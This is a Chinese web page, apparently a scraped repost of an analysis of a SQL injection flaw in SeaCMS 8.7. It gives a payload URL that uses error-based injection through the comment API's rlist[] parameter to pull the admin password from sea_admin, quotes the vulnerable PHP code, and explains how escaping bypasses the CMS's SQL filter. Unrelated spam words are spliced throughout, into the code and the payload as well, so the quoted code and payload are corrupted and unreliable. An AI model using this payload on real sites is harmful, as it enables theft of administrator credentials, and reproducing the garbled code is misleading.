成都人才网,技术提高丨Seacms 8.7版别SQL注入剖析,鹏博士

频道:国际新闻 日期: 浏览:304

有些小伙伴刚刚触摸SQL编程,对SQL注入表明不太了解。其实在Web攻防中,SQL注入便是一个技能繁杂项,为了协助咱们能更好的了解和把握,今日小编即将跟咱们共享一下关于Seacms 8.7版别SQL注入剖析的内容,一定要认真学习哦。

0x01环境

Web:phpstudy and MAM成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士P

System:Windows 7 X64 and MacOS

Browser:Firefox Quantum and Chrome

MySQL:5.5

php:5.4


0x02缝隙概况

缝隙复现

payload:

http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(passwo一弯春心水rd)from%20sea_admin))),@`%27`



缝隙剖析

之前在MySQL成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士 5.6、5.7上面复现都不成功,由于这两个版别用extractvalu太平洋英豪2攻略e( )、updatexml( )报错注入不成功,后来换了体系Linux和Windows还有macOS来测验也是相同,和PHP、Apache的版别没有影响,仍是MySQL的版别问题,所以咱们测验的时韩加富候留意一下版别。

缝隙文件是在:comment/api/index.php


session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的谈论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM se竹筠传奇a_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size."成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士,$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'd4救援队))
{
$row['reply'].=R唐溢ty个人资料eadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,400kva变压器reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($r变种食人鳄ow=$dsql->Ge亚洲美tArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\"悲催小媳妇翻身记:".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']膏壤英魂."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$rowcxv本田['pic']."\",\"vote\":\"成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士".$row['vote']."\",\"allow\":\"".(empty($row永延帝祚['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\gayandguy"}";
}
$readrlist=join($rl,",");
return $readrlist;
}

传入$rlist的值为咱们结构的SQL句子:

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,玉势(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数。

能够看到履行的SQL句子是:

它在$dsql->Execute('commentrlist');这句成都人才网,技能进步丨Seacms 8.7版别SQL注入剖析,鹏博士的时分会有一个SQL的安全检测。

文件在include/sql.class.php的CheckSql函数

//完好的SQL查看
while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= s忌独笑ubstr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

能够看到这儿没有把咱们的报错函数部分代入进去,假如代入进去检测的话就会在这儿检测到:

后边$clean便是要送去检测的函数,通过一番处理后得到的值为:

后边返回来履行的SQL句子仍是原样没动

以上根本剖析就完成了。

终究履行的句子:

SELECT id,uid,username,dtime,reply,msg,ajapgaygree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题便是结构句子的问题。

刚开始传入的%27后边怎样变成了转义后的单引号?

require_once("../../include/common.php");就包含了这个文件,里边有一个_RunMagicQu多穗麦吉otes函数,假如PHP装备没有敞开get_magic_quotes_gpc就会用到这个函数,这个函数是把值通过addslashes函数的处理。此函数的作用是为一切的 ' (单引号), \" (双引号)透蜜这个牌子怎样样, \ (反斜线) and 空字符和以会主动转为含有反斜线的转义字符。

所以后边的SQL句子就会加上转义符号,然后通过CheckSql函数的时分就绕过了对报错句子的检测。

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

为什么要加上``两个反引号和@?

因in在MySQL里边用法是:

value1有必要是一个值,整数型或许文本型都能够,假如用单引号的话就会变成三个转义\'\'\'

在MySQL上面是作为一个转义符号来运用,一般为了不让和体系的变量抵触所以运用,一般在数据库名、表名、字段名运用,所以这儿用@来使这个成为一个变量类型。


跋文

在6.53的版别中include/common.php中的44-47行接收到变量:

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

但是在75行这儿又从头赋值了:

require_once(sea_DATA."/config.cache.inc.php");

以上是今日的全部内容,咱们学会了吗?

热门
最新
推荐
标签